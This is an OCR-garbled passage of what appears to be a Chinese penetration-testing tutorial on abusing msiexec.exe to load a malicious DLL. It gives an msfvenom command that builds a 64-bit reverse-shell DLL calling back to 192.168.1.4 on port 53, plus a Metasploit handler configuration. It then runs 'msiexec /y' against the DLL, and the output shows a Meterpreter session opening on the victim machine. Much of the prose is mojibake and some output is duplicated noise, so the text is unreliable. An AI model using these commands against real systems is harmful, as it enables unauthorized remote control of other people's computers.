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it BEERRVKEERETT  BIMTEE.

REANFEAIDLLINE,

Msiexecf&@fy :

MsiexecE2Windows Installerf5—&E850. FBFZEEWindows Installer&®Efl ( MSI) ,—f%
ffizf7Microsoft Updateie e L asab o PR EHIL , SERFILRK., FBE
BFWindows 2003 , Windows 745,

iBH : Msiexec.exefiEISREMARFUMIPATHIREZES , FIt , Msiexecep<$ AR,

HF B8 Msiexec.exefiitEpayload :
i¥ : x64 payload

I msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 -
f dll1 > Micropoor_rev_x64_53.dll

BeEIEmsf :
iE : x64 payload

I msf exploit(multi/handler) > show options

Do

3 Module options (exploit/multi/handler):

5 Name Current Setting Required Description

9 Payload options (windows/x64/meterpreter/reverse_tcp):

10

11 Name Current Setting Required Description

D e

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce
ss, none

14  LHOST 192.168.1.4 yes The listen address (an interface may be specifi

15 LPORT 53 yes The listen port
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Exploit target:

Id Name

@ Wildcard Target

msf exploit(multi/handler) > exploit

*] Started reverse TCP handler on 192.168.1.4:53

msf exploit{multishandler} = show options
Module options (exploit/multi/handler):

Mame Current Setting Required De

Payload options (windov 4/meterpreter/reve

Setting anulrpd

1, thrpdd pruc none

Exploit target:
Id Mame
0 Wildecard Target
msf exploit{multishandler} = exploit

[*] Started reverse TCP handler on 192.163.1.4:53

FEHIRAT -

msiexec /y C:\Users\John\Desktop\Micropoor rev_x64 dll.dll

CihlUsersyIohnsmsiexec Sy CihUsersyJohn\Desktop'yMicr: rev_xad_dl1.d11

msf exploit(multi/handler) > exploit

*]1 Started reverse TCP handler on 192.168.1.4:53



I [*] Sending stage (206403 bytes) to 192.168.1.5

5 [*] Meterpreter session 26 opened (192.168.1.4:53 ->
192.168.1.5:11543) at 2019-01-20 09:45:51 -0500

6

7 meterpreter > getuid

8 Server username: John-PC\John
9 meterpreter > getpid

10 Current pid: 7672

Il meterpreter >

msf exploitimulti/handler} = exploit

[*] Started rey
[#] Sending s : z . i
[*] Meterpreter ion 26 opened (182,163.1.4:53 -= 192,165.1.5:11543) at 2018-01-20 06:45:51 -0500

meterpreter = getuid
erver ¢ John-PZJohn
pid

Current pid:
meterpreter =

e  Micropoor



